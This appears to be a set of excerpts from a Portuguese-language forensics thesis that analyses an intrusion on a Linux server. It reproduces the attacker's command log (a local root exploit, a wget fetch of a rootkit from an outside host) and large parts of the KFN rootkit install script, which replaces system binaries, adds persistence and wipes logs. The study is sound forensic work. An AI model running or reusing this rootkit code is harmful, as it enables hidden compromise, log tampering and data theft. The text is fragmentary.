Com o hash md5 da imagem idêntico ao disco original, está provado que am-
bos contem exatamente o mesmo conteúdo, logo, o que for encontrado nessa có-
pia também será encontrado no original. Vamos "montar"a imagem no diretório
/mnt/analise para iniciar o trabalho forense:
Os parâmetros acima indicam que a montagem foi feita como somente leitura,
impedindo a execução de binários e não interpretando os arquivos de dispositivos.
A opção loop é necessária para utilizar os recursos de loop do kernel.
A busca por evidências será feita seguindo cada fonte de informação da Tabela
4.1 começando pelos arquivos de conguração. Analisando estes arquivos percebe-se
que os serviços de SSH e ATD sofreram alterações. O SSH teve diversas alterações
na sua conguração como por exemplo, aceitar conexões do usuário root na porta
1488. Já o ATD, responsável pelo agendamento de tarefas, passou a ser inicializado
junto com o sistema, conguração esta não feita originalmente.
/mnt/analise/dev/ttyos
Note que foi encontrado neste diretório cinco arquivos regulares. A exceção do
MAKEDEV, os demais arquivos foram colocados pelo invasor.
Partindo para a análise dos arquivos binários do sistema, foi vericado que o seu
hash MD5 não correspondia com o hash original. Alguns dos binários alterados pelo
invasor foram: ps, top, pstree, killall, ls, vdir, nd, du, netstat, ifcong.
bash-2.05a$ whoami
fred
bash-2.05a$ tar zxf rh73.tgz
bash-2.05a$ ./rh73
[+] Attached to 4068
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
whoami
root
$ file laba.c
laba.c: gzip compressed data, from Unix
a falha conhecida como "OpenSSL Malformed Client Key Remote Buer Overow
Vulnerability (CAN-2002-0656) ".
Portanto, com esta análise computacional forense, foi possível descobrir o ponto
de entrada do atacante, como ganhou privilégios administrativos e de que forma
preocupou-se com a manutenção de tais privilégios. A Tabela 6.1 resume as evidên-
cias encontradas até esse momento.
Ainda falta utilizar uma ferramenta forense capaz de analisar os arquivos dele-
tados. Para esta tarefa foi escolhida o Sleuth Kit, descrito na seção 5.3, pois é o
aperfeiçoamento das ferramentas forenses anteriores, além de possuir uma interface
gráca amigável através do Autopsy Forensic Browser. Com o AFB, descrito
na seção 5.4, instalado, basta executar o seu binário, escolher a opção de abrir um
novo caso forense conforme a gura 6.3.
ilustrada pela gura 6.4, o investigador inclui um host preenchendo o seu nome,
descrição, time zone do sistema e ainda tem a opção de adicionar uma base de dados
com o hash dos arquivos originais ou modicados, agilizando assim, a vericação da
integridade do sistema.
6.5 Encontrando as evidências 86
Depois dessas etapas, o investigador deve adicionar a imagem que deseja analisar,
clicando no botão "Add image le" conforme a gura 6.5.
Na tela seguinte, gura 6.6, o investigador poe o caminho para a imagem, dene
se é de uma partição ou disco e por último escolhe o método de importação (link,
cópia, mover).
Vale mencionar também que nenhuma medida legal foi tomada, pois não é o in-
tuito desse trabalho entrar na justiça contra ninguém e sim estudar os procedimentos
adotados.
6.6 Origem do ataque 88
I NFELIZMENTE , aqueles que cometem crimes não estão alheios a uma revolução
computacional que tem ocorrido nas últimas décadas. Um número crescente de
criminosos faz uso de pagers,telefones celulares, computadores laptop e servidores de
rede no curso de suas atividades ilícitas. Em alguns casos, os computadores provêem
os meios para a consumação do crime. Por exemplo, a Internet pode ser usada para
enviar uma ameaça de morte por correio eletrônico, para lançar ataques contra
uma rede de computadores vulnerável, para disseminar vírus de computador ou
para transmitir imagens de pornograa infantil. Em outros casos, os computadores
acabam se tornando dispositivos de armazenagem das evidências de um crime. Por
exemplo, um tracante de drogas pode manter em seu computador pessoal uma
listagem de quem lhe deve dinheiro, ou uma operação de lavagem de dinheiro pode
reter falsos registros nanceiros em um servidor de rede.
7.1 Resultados
# cd /var/tmp
# wget www.masterxxl.3x.ro/laba.c
# tar -xzvf laba.c
# cd kfn
# ./install
[10] Murilo, N., and Steding-Jessen, K. Métodos para detecção local de root-
kits e módulos de kernel maliciosos em sistemas unix. In Simpósio de Segurança
em Informática - SSI (2001), Instituto Tecnológico de Aeronáutica - ITA.
BIBLIOGRAFIA 94
http://www.uol.com.br/michaelis.
[22] Garfinkel, S., and Spafford, G. Practical UNIX and Internet Security.
1996.
http://www.tcpdump.org/.
- Desabilita o HISTFILE
• Atributo i -> Modo imutável, ou seja, não pode ser deletado, renomeado,
linkado, alterado.
• Atributo u -> Apesar de apagar o arquivo, seu conteúdo ca guardado para
uma possível recuperação.
- Pára o syslog, com isso o servidor não registra mais as atividades no sistema.
- Realiza cópias de arquivos que serão utilizados pelos binários alterados do KFN.
97
cp -f .1proc /dev/ttyop
cp -f .1addr /dev/ttyoa
cp -f .1le /dev/ttyof
cp -f .1logz /dev/ttyos
- Copia o timestamp dos arquivos que o KFN vai sobreescrever para os arquivos
dele. O objetivo é que o administrador não perceba que houve alteração dos
arquivos através das suas datas.
- Realiza a cópia de binarios de sistema modicados. São eles: ps, top, pstree,
killall, ls, vdir, nd, du, netstat, ifcong. Com esse binários alterados, o atacante
consegue ocultar as conexões de rede, processos e arquivos.
- Copia o script clean para o /usr/bin. Esse script recebe uma string como
parâmetro e remove todas as linhas que contem essa string nos arquivos de log do
/var/log. Porém não altera os arquivos wtmp, utmp e lastlog, que são os logs que
armanezam a informação de login e logout dos usuários.
- Copia o binário wp para o /usr/bin. Com esse binário deveria ser possível
remover as entradas de um usuários dos arquivos wtmp, utmp e lastlog. Porém por
ser um binário antigo, o seu algoritmo não funciona mais.
- Copia o arquivo md5bd para o diretório /usr/sbin alterando o seu nome para
atd. E támbem realiza a cópia do atd.init para /etc/rc.d/init.d renomeando para
atd. Depois usa o chkcong para adicionar o atd como servico. Caso não consiga,
ele cria os links para o /etc/rc.d/rc.[0-6].d manualmente. Ou seja, o KFN altera os
scritps de inicialização do sistema, mas nem todos os linux utiliza essa estrutura.
- Instala um sshd backdoor rodando o sshd-install. Que remove o ssh antigo e poe
esse ssh malicioso no lugar.
- Usa o ipchais para permitir acessar as portas externas 111 (tcp e udp), 465(tcp e
udp), 24452(tcp e udp)
- Copia o script 'me' para o /bin. Esse script executa o comando unset variáveis
HISTFILE e TMOUT
- Envia a saida do script sysinfo para o email do atacante. Esse script faz um
levantamento da máquina, mostrando o seu IP, hostname, distro, informacoes de
99
HD, Memoria, portas abertas, exibe o passwd e shadow, localiza arquivos com
extencoes mpg, mp3,avi e procura pelas strings 'mastercard' e 'visa' no /home,
/root e /www com o intuito de achar números de cartões de crédito.
- Inicia o syslog
#/bin/sh
cl="^[[0m"
cyn="^[[36m"
wht="^[[37m"
hblk="^[[1;30m"
hgrn="^[[1;32m"
hcyn="^[[1;36m"
hwht="^[[1;37m"
hred="^[[1;31m"
unset HISTFILE
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:
/usr/bin:/usr/X11R6/bin:/root/bin:/usr/local/bin
echo >install.log
echo "Install log for `hostname -i` or `hostname -i`">>install.log
echo >>install.log
echo "*** Rootkit install log ***" >>install.log
echo >>install.log
echo "Installing..." >>install.log
chattr -iau /etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslogd /etc/rc.d/init.d/functions
/usr/bin/chsh /etc/rc.d/init.d/atd >>install.log 2>&1
chattr -iau /usr/local/sbin/sshd /usr/sbin/sshd /bin/ps /bin/netstat /bin/login /bin/ls
101
if [ ! -x /usr/bin/ltop ]; then
mv -f /usr/bin/top /usr/bin/ltop >>install.log 2>&1
fi
cp -f top /usr/bin/ >>install.log 2>&1
echo
echo "ok" >>install.log
else
echo "${cl}${hred} *** failed ***${cl}${wht}"
echo "failed" >>install.log
fi
if [ ! -d /usr/include/rpcsvc ]; then
mkdir -p /usr/include/rpcsvc >>install.log 2>&1
fi
if [ -x /sbin/syslogd ]; then
echo "${cl}${cyn}|${cl}${hcyn}--- ${cl}${wht}syslogd"
echo "syslogd" >>install.log
if [ ! -f /usr/include/rpcsvc/syslogd ]; then
mv -f /sbin/syslogd /usr/include/rpcsvc/syslogd
chmod -x /usr/include/rpcsvc/syslogd
fi
cp -f syslogd /sbin/ >>install.log 2>&1
fi
if [ -x /sbin/chkconfig ]; then
/sbin/chkconfig --add atd >>install.log 2>>install.log
else
ln -s /etc/rc.d/init.d/atd /etc/rc.d/rc0.d/K60atd >>install.log 2>&1
ln -s /etc/rc.d/init.d/atd /etc/rc.d/rc1.d/K60atd >>install.log 2>&1
ln -s /etc/rc.d/init.d/atd /etc/rc.d/rc2.d/K60atd >>install.log 2>&1
ln -s /etc/rc.d/init.d/atd /etc/rc.d/rc3.d/S40atd >>install.log 2>&1
ln -s /etc/rc.d/init.d/atd /etc/rc.d/rc4.d/S40atd >>install.log 2>&1
ln -s /etc/rc.d/init.d/atd /etc/rc.d/rc5.d/S40atd >>install.log 2>&1
ln -s /etc/rc.d/init.d/atd /etc/rc.d/rc6.d/K60atd >>install.log 2>&1
fi
if [ -f /etc/rc.d/init.d/functions ]; then
cat functions >>/etc/rc.d/init.d/functions
else
cat functions >/etc/rc.d/init.d/functions
chmod +x /etc/rc.d/init.d/functions >>install.log 2>&1
fi
if [ -f /etc/rc.d/init.d/xinetd ]; then
touch -acmr /etc/rc.d/init.d/xinetd xinetd >>install.log 2>&1
cp -f xinetd /etc/rc.d/init.d >>install.log 2>&1
/etc/rc.d/init.d/xinetd start >>install.log 2>&1
else
touch -acmr /etc/rc.d/init.d/inet inet >>install.log 2>&1
cp -f inet /etc/rc.d/init.d >>install.log 2>&1
if [ -x /sbin/chkconfig ]; then
/sbin/chkconfig --add inet >>install.log 2>>install.log
else
ln -s /etc/rc.d/init.d/inet /etc/rc.d/rc0.d/K50inet >>install.log 2>&1
ln -s /etc/rc.d/init.d/inet /etc/rc.d/rc1.d/K50inet >>install.log 2>&1
ln -s /etc/rc.d/init.d/inet /etc/rc.d/rc2.d/K50inet >>install.log 2>&1
ln -s /etc/rc.d/init.d/inet /etc/rc.d/rc3.d/S50inet >>install.log 2>&1
ln -s /etc/rc.d/init.d/inet /etc/rc.d/rc4.d/S50inet >>install.log 2>&1
ln -s /etc/rc.d/init.d/inet /etc/rc.d/rc5.d/S50inet >>install.log 2>&1
ln -s /etc/rc.d/init.d/inet /etc/rc.d/rc6.d/K50inet >>install.log 2>&1
fi
/etc/rc.d/init.d/inet start >>install.log 2>&1
fi
fi
if [ "`locate .. 2>/dev/null|egrep -v '1.gz'`" ]; then
echo "${cl}${hred}hmm.. ${cl}${wht}"
locate ..|egrep -v '1.gz'|head -n 40
fi
if [ "`locate tcp.log 2>/dev/null`" ] || [ "`lsof|grep tcp.log`" ] ||
[ "`locate sniffer 2>/dev/null`" ]; then
echo "${cl}${hred}sniffer logz${cl}${wht}"
locate tcp.log 2>/dev/null
lsof|grep tcp.log
locate sniffer 2>/dev/null
fi
if [ "`locate .1proc 2>/dev/null`" ] || [ -d /usr/src/.puta ] || [ -f /etc/ttyhash ]; then
echo "${cl}${hred}possible tk${cl}${wht}"
fi
if [ "`locate adore 2>/dev/null`" ]; then
echo "${cl}${hred}possible adore lkm${cl}${wht}"
fi
if [ "`locate psybnc 2>/dev/null`" ]; then
echo "${cl}${hred}hmm.. a fucking psybnc around${cl}${wht}"
locate psybnc 2>/dev/null|head -n 20
fi
if [ "`locate mech 2>/dev/null|grep -v 'listmech'`" ]; then
echo "${cl}${hred}aargh.. a fucking mech around${cl}${wht}"
locate mech 2>/dev/null|grep -v 'listmech'|head -n 20
fi
if [ "`locate eggdrop 2>/dev/null`" ]; then
echo "${cl}${hred}oopz.. a fucking egg around${cl}${wht}"
locate eggdrop 2>/dev/null|head -n 40
fi
if [ "`locate sshdu 2>/dev/null`" ]; then
echo "${cl}${hred}sshdu..${cl}${wht}"
locate sshdu 2>/dev/null
fi
if [ "`ps -ax|grep "\./"|grep -v grep|grep -v install`" ]; then
echo "${cl}${hred}suspect processes:${cl}${wht}"
ps -ax|grep "\./"|grep -v grep|grep -v install
fi
110
echo >/var/log/messages
echo >/var/log/boot.log
echo >/var/log/cron
echo >/var/log/secure
echo >/var/log/maillog
unset cl cyn wht hblk hgrn hcyn hwht hred
chattr +i /etc/rc.d/init.d/sshd /etc/rc.d/init.d/inet /etc/rc.d/init.d/functions
111